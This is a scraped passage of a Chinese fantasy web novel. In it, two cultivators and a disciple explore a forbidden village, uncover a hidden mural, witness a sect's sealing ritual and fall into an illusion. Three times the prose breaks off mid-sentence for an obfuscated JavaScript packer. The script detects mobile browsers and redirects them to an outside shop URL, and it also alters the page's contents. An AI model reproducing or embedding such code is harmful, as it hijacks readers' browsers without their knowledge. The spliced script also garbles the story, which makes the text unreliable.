楚秋辞转着折扇笑嘻嘻地一回头,跟挂在树枝上的毒蛇来了个近距离接触,那一瞬间,楚秋辞几乎觉得那蛇的蛇杏子都快吐到自己脸上了。 “裴野!” 楚秋辞出离愤怒了。 “我要是再不叫住你,你得直接踩人家尾巴上去。”裴惊澜往前走了两步,捏住楚秋辞的扇子,把他往自己身边拽了拽,顺道还指了指地上,“你尾巴翘上天了,人家尾巴还在地上呢。” 楚秋辞冷笑一声,将扇子抽了出来,气急败坏地扇了扇:“您老是没长嘴还是怎么的,这么爱玩刺激的吗?” 裴惊澜看着他,突然笑了:“怕蛇?” 楚秋辞一噎:“拜托,任谁突然和一个吐着蛇杏子的东西来个照面都会被吓到好吧,还有你转移什么话题呢?!” “好了好了,我向你道歉。”裴惊澜拉了拉楚秋辞的袖子,真诚地看着他的眼睛说,“对不起,没有下一次了。” 楚秋辞哼哼两声,勉为其难地说:“那我勉强原谅你这一次。” 随即又立刻警告:“再有下一次我宰了你。” 身后,那只被人吵醒的毒蛇瞪着眼睛吐了吐杏子,正欲从树上滑落,却猝然没征兆地炸开,连带着一起的还有它身边的毒虫,血肉溅满了附近的树丛。 裴惊澜走在楚秋辞的后面,慢吞吞地想:是了,当年楚秋辞很怕虫子毒蛇一类的东西,身上不小心沾上个毛毛虫都能高喊着来求他帮忙,但不知道是从哪一年开始,楚秋辞再也没来找过他,再看到那些毒虫,也都能熟视无睹或自行处理了。 还有苦瓜,以前的楚秋辞最讨厌的就是苦瓜,甚至一度厌恶到发狠话说要一把火烧光人间的所有苦瓜,叫那些苦瓜精再也不能出来害人。 如今,到底还是一切都不一样了。 离玟羽是个很会看人脸色的,一般不掺和两位前辈之间的纷争,这会也早早走到了最前面,等他去探查完一圈敌情,估摸着前辈们应该吵得差不多了,才算着时间回来禀告情况。 “师父,那边那个村子是有人住的,但是人也很少,基本没什么人出来。除此之外,那边有一座神庙,修得不算好,我在外头没见过那个神仙,但香火很旺盛。” 离玟羽一边说一边咂嘴:“那庙里的香火,我看都比得上虞国京城最繁盛的帝君神庙半月的香火了。” 禁地的无名神庙,以及神庙里绵延不绝的香火? 裴惊澜静静凝视着远方,还得分心时刻注意着周围的情况。 且不说这周围的毒林雾障完全没有耕作条件,就说这荒芜的禁地是哪儿来的居民? 就算是居民,又哪儿来余钱供奉神庙? 而且还是堪比帝君神庙的香火? 楚秋辞挑眉,觉得这地方实在是有意思。 “过去看看。” 天色渐晚,这个季节的天总是暗得很早。 可直到酉时过去,村里也无一人亮灯,更没有任何牲畜发出声音,就连毒林中也寂静得可怕,整个空间仿佛都被下了禁音咒。 露色愈浓,一早已歇下的农户忽然听闻屋外传来三道规律的叩门声。 他皱眉细听片刻,没再听到类似的声音,但他仍旧放心不下,披衣起身开了门。 门外站着三个年轻人,为首的一个戴着幂蓠。 同预想中的情况不同,农户耷拉着脸就要将门关上,却被一只手拦住了。 “老人家,我们三人误入此地,实在寻不得出去的路,可否暂时借宿一宿?”裴惊澜拉着木门,人是笑着的,可用的劲不算小。 农户使劲把门往回拉,硬是没能撼动分毫。 他脸色一臭,可敌众我寡,犹豫片刻还是松开了手。 “有劳了。” 裴惊澜将门拉开,丝毫不管农户脸色有多不对劲,依旧温和地笑着。 这地方到处遍布鬼气,但和鬼蜮的鬼气又完全不同,这里处处弥漫着一种直逼心脏的压抑和痛苦,就好像有一个悲伤至极的人天天在耳边哭泣,让人心烦意乱之余还很容易生出“人都是这样的,人从出生起就将与痛苦相伴至死”的念头,很容易把人引上绝路。 也难怪是禁地,至于能在这里长久生存的人又能是什么良善之辈。 农户阴恻恻地看着几人,身体还挡在门口,没有要让开的意思。 裴惊澜笑呵呵:“老人家?” 光看外表看不出农户的年龄,他脸上布满了皱纹,精明的眼珠就藏在皱纹之中,灰蒙蒙的,就像蒙着一层白布。他的眼珠转了转,在这寂静到落针可闻的地方好像还能听到眼睛干涩到极致时转动才会发出的“吱吱”声,直到此时众人才看清他有多瘦弱矮小,完全称得上是“骨瘦如柴”,离玟羽甚至觉得那只手比冬日被风刮落的干瘪树枝还要瘦小,他身子抖了抖,终于感觉到了迟来的害怕。 双方僵持半晌,就在楚秋辞实在等不耐烦准备硬闯的时候,农户动了。 他抬起手,胡乱比划了一通,然后错开身,眼神仍旧死死盯着几人。 “哑巴?”楚秋辞没忍住开口问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971491|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换来的是农户一记斜眼,以及农户绝大部分的注意力。 裴惊澜往楚秋辞的方向侧了侧,脸色未变,依旧揣着礼貌,就好像是家里熊孩子惹了祸也无脑纵容的父母,他温言细语地说:“抱歉,我们可以进去了吗?” 农户半低着头,眼睛往楚秋辞那里瞥,却被裴惊澜挡得死死的,只好不甘心地点头。 这座院子非常简陋,从门进去有个小院,院子正中间有一口井,正对院门和正屋大门,正门坐南朝北,东西各有一间小屋,西边那个是厨房,东屋紧锁着门,门口挂着一个拳大的铜锁。 农户领着他们进了正屋偏房,里头只有一张床和一张桌子,桌子上是一盏干涸的油灯。 离玟羽落后一步,还没来得及看清楚这屋子到底上什么样就被农户一把推了进去,紧接着身后屋门被关上,几人在黑暗中面面相觑。 “不会是陷阱吧?”离玟羽干巴巴地问。 “可能是,也可能不是,静观其变即可,”楚秋辞随手划过油灯的灯芯,火焰霎时蹿了出来,他漫不经心地说,“反正来都来了,想跑也有点晚了。” “估计从踏进天晓关那一刻起,我们就已经是困兽了。” “休息一会?” 裴惊澜问。 楚秋辞正盯着跳动的火焰,闻言抬起头,发现另外两个人都把目光投向了自己,顿时有些莫名其妙。 “看我做什么?这里最不需要睡觉的就是我了吧。” 毕竟修士是脱离了五谷轮回的,早就不用吃饭睡觉了,也就只有裴惊澜这样的奇葩还会执着于每天进食休息,但凡换个人来,稍微吃点什么凡人吃的东西都得怀疑自己明天会不会跌个大境界。 既然楚秋辞都这么说了,裴惊澜也不硬劝,他向离玟羽笑笑,示意他先去休息。 离玟羽搅着手指,最后还是坐到了那张床上,但他没睡觉,只是脱了鞋打坐。 “发现什么了?” 裴惊澜接过楚秋辞的折扇,替他把幂篱摘了下来。 “一点小秘密。” 楚秋辞拢了拢衣裳,把烛台端了起来,烛光下,他的眼睛亮晶晶的,漂亮得像鹿。 他伸出一只手在火焰上方转了转,刹那间亮光四射。 楚秋辞解下貂裘,端着烛台走到一面墙前,他盯着那面墙看了会,手一松,大火顷刻间吞没了整面墙。 火舌离楚秋辞很近,映在他脸上显出温暖的橙色,那跃起的小簇火焰几乎快要舔舐到他垂落的长发,裴惊澜心头一紧,下意识靠近楚秋辞。 然而还不待他做出反应,便见楚秋辞转过头,眼中满是得逞的笑意。 “瞧。” 裴惊澜这才将担忧的目光转开,落到了那面墙上。 只见那原本灰暗破败的墙面被燎去一层黑灰,在赤火中露出了肉眼不可见的真面目。 那墙面上是鲜艳的壁画,记录着一场大火,一场与正在燃烧的火焰诡异地融合了起来的大火,画中的火焰灼烧着一群漆黑恐怖的黑色影子,其中心有一个宛若天神般的人物,他有着华发俊颜,眉眼低垂,手掌落在半空,好像在抚摸着什么。他的周身没有火,也没有影子,只有正前方跪着一群人,深深地向他俯身大拜。 “我去……” 打坐的离玟羽不知何时睁开了眼,目瞪口呆地看着眼前的情形。 “还当真是天神下凡。” 15. 鬼手 那壁画上的神仙赫然是传说中的白帝神君。 火焰给壁画点上了色彩,离玟羽这才发现这画中的人要比那冷冰冰的石像生动得多,他身上多出一种悲悯的宽容和淡漠的平静,一举一动都透着华贵和慈悲,就连那张脸也是惊为天人,仿佛神君全身上下就没有一处不完美的地方。 裴惊澜看了两眼,没看出什么其他名堂,却注意到了楚秋辞额角因为太靠近火焰而出现的汗珠,他拿着扇子给楚秋辞扇了扇:“楚朝,玩火尿炕。” 楚秋辞睨了裴惊澜一眼:“裴兄,果然人不可貌相,居然连你也信这种话。” 裴惊澜笑而不语。 楚秋辞有些语塞,但还是往后面退些,抱着手等火焰彻底熄灭。 那是一面非常精细的壁画,刻画的就是当年天晓关大战后白帝神君下凡封印怨灵的画面,画面神圣惊艳,可以想象当年画下这幅壁画的人是带着怎样的喜悦和,郑重地刻画出了无数人殷切期盼能够脱离苦海的强烈愿望。 楚秋辞几乎能够透过画面感觉到那些凡人对白帝神君有多么敬重,以及那些被烈火灼烧的怨灵有多么痛苦,他们的叫喊声仿佛就在他耳边环绕,而那正中间的救世主对此置若罔闻——毕竟他只负责救世人,至于已经死去的那些孤魂野鬼就不在他的管辖范围内了。 随着火焰熄灭,墙面的温度也渐渐冷却下来,楚秋辞的手抚摸上了墙壁。 墙面凹凸不平,似乎刻着一些文字,但是触感陌生,楚秋辞努力分辨也没能认出是何处的文字,他在房间角落里找到一根木棍,用仅剩的一截油灯照着,沾着烧下来的墙灰写了下来。 “启明古洛……三十万……败撤……屠城……” 裴惊澜皱着眉头,断断续续地念。 “你认识?”楚秋辞抬头问,眼中满是怀疑。他在人间游荡这么多年都没见过这样的文字,裴惊澜打哪儿见过? 他不知道,在很多年前,裴惊澜还在鬼蜮的时候,曾收缴过几份写着这种字的文章,不过那时候他时间很多,刚好就学了一下,没想到在这里能派上用场。 “早年四处游历,恰巧见过这种文字。”裴惊澜再次把游历那一套说辞搬出来解释道,他指着“古洛”二字,继续说,“在启明年间的时候,天骁关还叫作古洛,这应该是记录的那场古洛战役。” “那真是有意思得很了。” 楚秋辞抛开木棍,好整以暇地看着桌上的几个字。 “对这里的人来说,白帝神君可是天神下凡的救世主,可这里的神庙不供神君,反倒去供一个籍籍无名的神仙?” 楚秋辞嘲讽道:“难道不怕神君知道了降罪,不管他们了吗。” 要知道,由于灵气愈加凋敝,现在神仙们的法力来源可是信徒们的信仰和供奉,因此神仙和凡人比起信徒和神明更像是互惠互利的合作关系,凡人提供神仙们的法力,而神仙们保佑凡间风调雨顺。 这里虽说是禁地,但仍旧属于人间的范畴,只要神仙们刻意关注这里就一定知道这里供奉的是谁。 油灯彻底燃尽,火光熄灭,屋子里再次回归无边的寂静与黑暗。 “师父,有句话我不知当讲不当讲。”离玟羽弱弱地开口。 楚秋辞伸了个懒腰:“该讲的不知道讲,不该讲的废话一箩筐。” 离玟羽从怀里掏出一张符咒,咽了咽口水,道:“这地方,好像有点不太对劲。” “不奇怪才是最怪的。”楚秋辞不知何时走到了他身边,一拍他脑袋,说,“还有,好歹是个修士,我看你自己捣鼓的时候胆子也不小啊,给我把舌头捋直了说话,别动不动就哆哆嗦嗦的。” 离玟羽被这一巴掌拍懵了,呆愣愣地说好。 浓烟从紧闭的木门下方钻入,缓慢而又不容拒绝地开始占领整个屋子。 “我看着这架势有点眼熟呢?”楚秋辞捂着鼻子呢喃一句。 之前把他们带到这里来的可不正是一场大雾? 离玟羽手中符咒霎时自燃,金黄的灵气短暂地形成了一道结界,将几人包裹起来。 “这烟雾不对劲,”裴惊澜手里捏着一点灰沙,凝重地提醒道,“死气太重。” 话未毕,浓烟中伸出一只惨白的手臂,那手臂上伤痕累累鲜血淋漓,离玟羽立刻念咒加强结界,然而下一瞬,那只手碰到结界的瞬间,金盾碎裂,与此同时尖叫声冲破天际。 楚秋辞捂上耳朵,轻啧一声,墙角那根木棍往他手中飞来,他以棍为剑,利落地扎穿了那只手。 那只手却毫无顾忌,向后折叠扭曲成了一个常人难以做到的姿势,再次向楚秋辞袭来。 身旁,被浓烟呛到的裴惊澜闷咳了两声,摸索到门旁,推了两下没有推开,只得开始迅速思考出去的办法。 这屋子没有窗户,这烟雾也不知道到底是个什么东西,背后那幅壁画在烟雾的作用下又开始迅速变黑,还有浓烟中出现的手臂——那手根本没有连接在躯干上,显然不是活人,甚至都不一定是真实存在的,有可能只是幻象。 裴惊澜往前一步,靠近了那浓烟,烟中又出现了一只手,以难以看清的速度猛地向裴惊澜冲去,裴惊澜用折扇一挡,暗道一句“没武器实在是不方便”,而后四面八方顿时出现了更多手臂,从不同方位朝他袭来,将他包围其中,从远处看像是开合的白莲。 裴惊澜将折扇转开,弯腰躲过一只直奔他心脏而来的手,他挥手一折,将右侧的手臂折断,而后迅速后撤,同时斩断正前方的三只鬼手。可双拳难敌无数只手,裴惊澜躲闪不及,仍旧被一只手抓住,瞬间被猛地拖了出来。 “裴野!”和想象中的不同,这手的主人不是什么牛鬼蛇神,而是一张熟悉的俊颜。 楚秋辞才是一脸见鬼,他一个没注意就有人把自己往妖魔鬼怪嘴巴里送,也不知道这人是怎么做到这么不让人省心的。 一道强悍的灵力炸开,烟雾瞬间被喝退一尺。 裴惊澜眨眨眼,迟钝地意识到现在这有条大腿可以抱,不过为了避免再次出现“因修为低下而被昔日的死对头救下”的事情再次发生,他重新修炼一事还是该提上日程了。 楚秋辞现在丝毫不想和这个人说话,连一个眼神都不屑于分给裴惊澜,他拿出那把短刀,刀上流淌着充盈的淡蓝色灵力,楚秋辞将刀飞出,在烟雾中滚过一遍,而后烟雾霎时散了大半,而后他的身体里还在源源不断地飞出灵力,镇压着想要卷土重来的浓烟。 就在楚秋辞准备一鼓作气把门劈开之时,却听那门发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971492|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两声轻微的响动,而后门被推开了。 霎时烟气退散,灵气收敛。 门开之际,屋子里平静得仿佛什么都没有发生。 而屋外站着几个仙气飘飘的修士,他们穿着统一的白衣,衣摆上绣着暗纹,腰间发带用鹅黄点缀。 站在他们身侧的便是方才让楚秋辞三人进屋的农户。 “几位仙长,他们便是误入此地的生人。”农户用手语比画着。 为首的修士冷淡地点头:“多谢。” 而后他的目光审视过每一个人后最终落在楚秋辞身上,虽说这几人看起来都像是没有灵力的凡人,但这个穿红衣服的好像有些格外不对劲,但是他试图分辨到底是哪儿不对,却始终没能找到违和的地方,只好归咎于大祭将近,自己紧张过头了。 在他审视旁人时,被他审视的人也在审视他。 并且比起他对他们的一无所知,楚秋辞却知道他的来历。 “玉观派的人。” 楚秋辞的传音进入了身边两人的耳朵。 “看打扮,多半还是长老的内门弟子。” 裴惊澜没有搭话,出其不意地握住了楚秋辞的手腕,惹得楚秋辞回头来看他,他只冲楚秋辞笑笑,低声说:“我还没见过正儿八经的修士呢,紧张。” 楚秋辞在心里翻了个大大的白眼,随即想起刚才此人的作死行为,原本被压抑的怒火瞬间再度燃起,一把将裴惊澜的手甩开了,不冷不热地说:“紧张?我看刚才你喂鬼的时候也不紧张啊。” “没见过修士?感情在你眼里我啥也不是呗。” 裴惊澜一噎,找不到话来反驳,只好无可奈何地笑笑,不过好在他的目的达成了,楚秋辞体内的灵气没有因为刚才的大量使用而再度紊乱,他的内伤应该确实是好得差不多了。 不过这人什么时候养成现在这样爱呛人的性子的? 楚秋辞率先向玉观派的人打了招呼,他毕恭毕敬道:“几位仙长好,我们兄弟三人白日里到的天骁关,却不知怎的遇上一场大雾,就这么失了意识,再醒来就到了这个地方。” 楚秋辞身上打了个寒战,小心翼翼地观察着四周。 “仙长,这里到底是什么地方?” 天上不知何时出了一轮月亮,圆得像银盘,落下的银霜把这地方衬托得更加诡异沉寂。 一只蝎子从草丛里爬出,在月光下静止片刻,而后直愣愣地翻了过去,再无动静。 为首的修士面目冷峻,手持长剑,他厉声问:“今日你们还能进天骁关?” 楚秋辞被这声音吓得一激灵,他低着头,颤颤巍巍地说:“那官兵检查过后就把我们放进来了。” “不可以来吗……?” 楚秋辞声音越来越低,生怕那些修士生气一样。 裴惊澜走上前,拖住楚秋辞的手,说:“仙长有所不知,我等并非虞国人,乃是从天麓州来此逃难的吗,实在是无处可去才来的天骁关。” 离玟羽附和道:“对,我们也不想背井离乡的,实在是不得已为之。” 修士闻言,倒也不再多说什么,只留下一句:“明日大祭,尔等安分待着,等大祭结束我自会带你们离开。” “只要到时候你们还活着。” 16. 大祭 次日卯时,黎明前夕。 世间漆黑一片,唯有惨白的月光落在地上,给一切被它眷顾的事物披上一层薄霜。 村里的寂静仍在,却与之前不再相同,透着一种诡异的肃杀感。 所有村民身披黑色长衫出现在村口,脸色是如出一辙的僵硬微笑,他们排成三列,沉默地移动着。为首的是一个中年男人,他捧着一座神像,小心翼翼地向前走着。他身后有两名一边走一边跳舞的黑帽人,再往后的是端祭品的人,前半截队伍抬着牲畜,有活猪活羊大雁,甚至有一头鹿,而再往后就是各类祭祀用的香火纸钱,最末的一排只有两人,他们举着旗子跟在队伍最后。 祭祀队伍从村头走到村尾,再绕着村子走了三圈,他们异常沉默,从始至终他们的表情甚至都没有任何改变,那笑容仿佛是被固定在他们脸上的,一丝一毫也不能变动。 楚秋辞站在树下,静默地看着这场无声的祭祀。 “就这地方也能有大祭,是我知道的那个大祭吗?”离玟羽看着村民们的诡异行为,心头有些莫名的不适,一头雾水地问道,“看起来不太像啊。” 在很多地方都有每隔一段时间就祭祀的习惯,但是大祭并不常见。 大祭是针对单一神仙的,是信徒自发举行的活动,往往会在重大节日前后进行,能够给祭祀的神仙带去大量法力,同时也会消耗大量财力,而且必须得是极度诚心的信仰才能把这些法力完全地传输给神仙。 一般是信徒众多且在人间留下巨大功德的神仙才能够得到大祭,并且一般这样的神仙大多是对某一部分地区有着特殊意义,是常年守护这一片区域的特定神仙,也只有双方都对彼此有着独特唯一性,信徒才会举行这样的大祭——毕竟就算信徒的钱足够多,虔诚的信仰也是有限的。 但是这么一个鸟不拉屎的地方还能有神仙长时间驻守,并且这么寥寥几个信徒还会给他举办大祭,还叫来了修士? “这也能算是大祭?” 离玟羽喃喃一句,他以前有幸见过给清越仙君信徒们举办的大祭,京城流水席大摆七日,路过的野狗都能得到一口肉吃,城中挂满彩绸灯火,国君朝臣在神庙跪地祈福三日……整个大祭持续十五天,那半月里,京城几乎可以称得上是一个极乐世界的不夜城。 楚秋辞警告似地看了他一眼,离玟羽讪讪地闭上嘴。 “他们在神庙。” 一道清润如玉的声音在楚秋辞脑中响起,是一早就出去跟踪那群修士的裴惊澜。 楚秋辞迅速回了一句:“行,村民这边估计还要晃悠两圈,你着注意点。” “好。”裴惊澜回道,不知为何,楚秋辞从这句话中察觉出一点笑意。 裴惊澜的隐匿踪迹的身法堪称数一数二,他最早学会的就是隐匿踪迹的法术,以前还被楚秋辞拉着玩过捉迷藏,最后以楚秋辞耍赖佯装受伤把他诈出来结束。 楚秋辞暗自啐了一口:这人什么德性,关心他一句还讨不着好! 端着神像的男人又一次从他们藏身的树下经过,楚秋辞悄声问:“认出那个神仙了吗?” 离玟羽诚实地摇头:“跟神庙里的那个神像一模一样,我不认识。” 虽说人间的神像大多和神仙们本人有着不小的差距,但是大多都是按照神仙们的意愿来雕的,并且时间一长,神庙一多,大家对于哪个神像代表哪个神仙都早已默契地达成共识。 这么多年,楚秋辞居然一次都没有在人间见过这个神像,要么确实是楚秋辞没有去过这个神仙的管辖地,要么是这个神仙确实官小,还没有到能够被褥呢封神建庙的地步,再不然就是出于某种原因,这个神仙的神庙被毁去了。 楚秋辞盯着那神像木牌上的关瑞仙官几个字,心里默默否认掉几个猜测。 恰在这时,裴惊澜传来一道简略的信息:“事态不对,看好村民。” 楚秋辞对裴惊澜的提醒置之不理,他跃跃欲试地扔掉手里拿着玩的叶子,转头对离玟羽说:“走,去关瑞神庙。” “走什么走!”男人冷斥道,“回去怎么交代?!” 刚说完,他又觉得自己的话说得有些重,看了眼旁边不安的师弟,缓下神色安慰了一句:“没事,这个是正常的。” 师弟咽了咽口水,背后已经被冷汗浸透,他的眼睛直直地看着前方,弱弱地问:“真的是……正常的吗?” 关瑞神庙修建简单,门上有着很多杂乱的刻痕,但牌匾看起来是近些年刚装上的,神庙里面的漆也很新,神像金光十色,庙中烛火铺满了三面墙。 而此时此刻,妖风不断从四面八方而来,拍打着紧闭的庙门,天上明月不见,寒鸦嘶哑的叫声遍布。 院中有一片空地,玉观派的修士站的站位很有讲究,细看能看出是个精妙的阵法,手中剑插在地上,每个人表情严肃,念念有词。阵法中心是一块巨大的石头,源源不断的黑烟从中冒出,其中还夹杂着痛苦的喊叫声,凄厉的声音刮擦着所有人的心,并且还隐约能闻到一股血腥气。 在那个师弟说出“正常”之后,原本缓慢溢出的黑烟顿时直冲云霄,凄厉声穿云裂石,风声鸦声顿时消失,阴云铺满天空,一股强大的力量从地底钻出,压得众人喘不过气。 有一个站在边缘的玉观派女子闷哼一声,手中剑颤抖起来。 裴惊澜从屋檐上落下,藏在人群后方,他捂着耳朵,一眨不眨地看着,只觉此情此景实在是过于惊心。 忽然,他察觉到了一股阴湿黏腻的视线缠到了他身上,就好像阴雨季绵绵不绝的雨,潮湿得叫人恶心。裴惊澜迅速给楚秋辞传去一道简讯,同时转过头,没有防备地对上了一双暗处的眼睛,那双眼惨白硕大却没有瞳孔,他骇然一惊,瞬间追了出去,可他再一晃眼,眼睛的主人已经消失在了黑暗中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971493|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而后,一只春蚕在无人问津的角落里破土而出。 在裴惊澜离去后不到片刻,阵法的一角轰然破损,站在那处的修士呕出一口鲜血,随即昏了过去。 方才还信誓旦旦说没事的方乾见状,立刻补上了那一角空缺,然而为时已晚。 黑烟中出现了一个人影,正在方乾以为是自己眼花之际,又有第二个第三个人从烟雾中站起,他心头一跳:“快,以血祭阵,加强封印!” 其余玉观派人士闻言,果断划开手腕放血,一张金色大网腾空而起,以铺天盖地之势将黑烟和其中人影网住,并往下压去。 方乾心里暗骂:那群人吃干饭的吗,怎么还不来! 黑烟中的人影起初被大网压制得死死的,可不过一炷香的时间,它们便习惯了金网的强压,身体扭曲着开始反抗,金网抽取着它们的灵力,它们便用嘴啃,用手撕,总之就是不肯束手就擒。 方乾明显感觉到自己体内的灵力越用越多,却越来越难以维持住这个金网。 他咬着牙,身侧的剑骤然飞了出去,与阵中鬼影纠缠起来。 明明师父说过他们不会有什么事的,这只是一个简单的历练,甚至不需要和难缠的鬼修打交道,只需要在村民祭祀的时候加强一下禁地的封印——到底是哪里出了差错,这个黑烟到底是什么? 这一次他带来的人都是玉观派这一辈中很有潜力的师弟师妹,本来想着就是带他们出来透透风,难得下山玩一玩,怎么会变成这样——要是他们折损在了这里,要是他们中有一个出了什么意外,师父定会狠狠责罚他,保不齐以后他在门派里的地位也难保! 方乾觑了一眼站在各处维持阵法的师弟师妹们,看到了最小的一个师妹嘴角未干的血迹,登时皱了皱眉,他再看其他人,表情也都很是吃力。 突然,金网破开一道口。 方乾脸色一变,额角浸出几颗冷汗,心止不住地狂跳起来。那嚣张的凄号声骤然变大了几倍,还似乎夹杂着一道嘲笑的笑声,黑烟也再次卷土重来,甚至比之前更加嚣张。 他手中飞快结印,灵剑以肉眼可见的速度在变大。 可下一瞬,庙门忽然传来三声不急不缓的叩门声。 方乾的神色顿时安定了不少,他深吸一口气,符咒从袖中飞出,庙门登时大开。 门后是一群僵直如傀儡的黑袍村民,他们或捧着祭品,或跳着祭舞,或摇着祭旗,但都对院中黑烟熟视无睹。 为首的黑袍人绕过院子,走入神庙正堂,毕恭毕敬地将小神像置于大神像之下,而后在蒲团上跪下,深深叩首。 黑袍村名在院子中跪了一地,方乾嘴角扬起一抹微笑,他将灵剑收回,只分出一分灵力维持着金网。 大祭已成,他们安全了。 只听虚空中传来一声厚重的钟声,以及一道儒雅的男声。 “诸位,还请安息。” 17. 幻象 在声音响起的刹那,各种尖锐的叫声暴涨,几乎快要刺破耳膜,但仅仅持续了一瞬,因为紧接着虚空中就出现了一只大手,安抚似地落在那团黑烟之上,那团暴戾的黑烟在那只手的抚摸下顿时变得顺从安静,那些往外爬的鬼影也渐渐消失,最后只留下一团小的不足巴掌大的黑气。 那只手捧着那团黑气,一起往那个阵法中间的巨石里钻去,整个过程只持续了一刻钟的时间。 “抱歉,打扰各位,还请见谅。”那道男声又说。 方乾拍拍衣袖,轻描淡写地冲虚空作揖,他已经重新捡回了自己得体的教养,道:“多谢前辈。” 话毕,他瞥了眼身侧的师弟师妹,没让他们跟着道谢,只是说:“回去之后每人练功时间多加一个时辰。” “师兄——” 那个最开始就在打退堂鼓的师弟瞬间将方才的一系列惊心动魄抛诸脑后,转而开始试图向师兄求情,想要用撒娇的手段蒙混过关。 但就在此时,变异突起。 原本顺利运转的阵法不知为何突然冒出几段红色的灵纹,而后血光四起,耀眼的光刺得人睁不开眼,一道轰鸣的雷声落下,顿时大雨倾盆。 一片混乱中,方乾听到了春笋冲出土壤开始拔节生长的声音——这也是他意识消失以前最后感觉到的东西,紧接着他就陷入了一片虚无。 “师兄?” “师兄你在哪?” “我怎么找不到你了,师兄?” …… 裴惊澜向前走着,此时他正身处一片黑暗中,耳边不停地传来呼喊,全都是楚秋辞的声音,他晃了晃脑袋,试图把这道声音逼出去。 可是那道声音还在继续,并且愈加咄咄逼人。 “师兄,我等了你一百年,你怎么不要我了?” “裴惊澜,你现在不认我又怎么样,你以为这样就能假装当年你做过的那些事没有发生了吗?” “我不会原谅你的,永远都不会。” “我该叫你哥哥还是师兄呢?” “裴珉。” 裴惊澜的步子猛地一顿,那个名字被说出口的瞬间,他一直逃避的过去无所遁形。 他知道此时在他耳边说话的不是楚秋辞,他知道他深陷幻觉,他也明白现在发生的一切都是虚假的,但是他依旧像是被兜头泼了一盆冷水,只觉得自己心脏都冷透了,连呼吸都被冻得格外艰难。 他艰涩开口:“你是谁?” “我是阿朝,你认作亲弟弟的师弟啊。” “师兄,你怎么能不认识我呢?你心里对这亲弟弟起了龌龊的心思,你凭什么可以装作不认识我!” “裴珉,你怎么敢的!” 最后一句,是他师父的声音。 恍惚中,一张熟悉的脸出现在裴惊澜身前,他冷漠戒备地看着裴惊澜,他们隔得很远,可他说的话每一句都精准地割在了他心头。 裴珉,被他使用了一百九十五年的名字,但他不喜欢这个名字。 他认识很多人,也被很多人知晓,但是没有一个人知道,他其实不是裴珉,他也并不想成为裴珉。 裴惊澜踉跄了一下,呼吸错乱几分,曾经作为“裴珉”得到的一切都在他脑中飞速闪过,最后停留在了那个夜晚——那个他又一次梦到自己师弟,醒来后再难入睡的夜晚。 片刻后,他抬起头一字一顿地反驳:“不,你不是阿朝,我也不是裴珉。” “我叫裴野。” “我没有去处,没有归处,但我是裴野。” “师兄你在说什么呢?你不是叫裴珉吗,你忘啦?” “而且当年我们拜师之际师父还给你取字惊澜,是盼你日后能以蛟化龙,卷起惊天浪涛。” “你就是裴珉,裴惊澜。” “师兄。” “……” “裴兄?” 黑暗中终于有了一丝亮光,裴惊澜走到了混沌的尽头。 他走出那边寂静的黑暗,被一个人扶住了。 裴惊澜浑身上下都有些乏力,但在看清那人的脸后却如若惊弓之鸟,一下子甩开了他的手。 楚秋辞挑眉:“裴兄,怎么了?” “你怎么在这?”裴惊澜不看他的眼睛,生硬地问道。 “啊,生气啦?”楚秋辞往前凑了凑,没什么分寸感地拽住裴惊澜的衣带,说,“我有点担心你,过来看看。” 很多很多年前,楚秋辞就喜欢空手的时候随便从身边拿点东西玩。有一次傍晚,一日中最清闲的时候,楚秋辞靠在他身上,拿着他的衣带玩,嘴里抱怨着今天的功课真难做,裴惊澜笑着宽慰他,说了些什么他不记得了,他只记得那时的他听到了窗外扰人的鸟鸣,目光所及之处是太阳的余晖落在少年身上,风带起楚秋辞的一抹发丝,吹到了他的脸上。 裴惊澜心里一团乱麻,他强硬地将衣带从楚秋辞手中扯出,勉强笑着说:“楚朝,我不是让你别过来吗。” 楚秋辞忽然意识到了什么,站直身子问:“裴野,发生了什么?” 裴惊澜咽下满口苦涩,把情绪强行收敛好,只说了句:“没什么。” 楚秋辞皱眉,猜测此人又在隐瞒什么事情,他张嘴欲言,可他还没说出话来,天地便骤然变色,无数惊雷落下,东边有一道血色巨阵凌空飞起,逐渐扩大到整个空间。 而后地面猛烈震动起来,来自地底的巨响像是苏醒的狮吼声。 白光乍现,仿佛人间诞生之初的虚无。 再回神,他们来到了一处刀光剑影的战场。 严格来说是古战场,百年前古洛战役的交战地点,并且很不巧,现在正在打仗。 “楚朝!” 裴惊澜躲过身侧刺来的一把刀,高 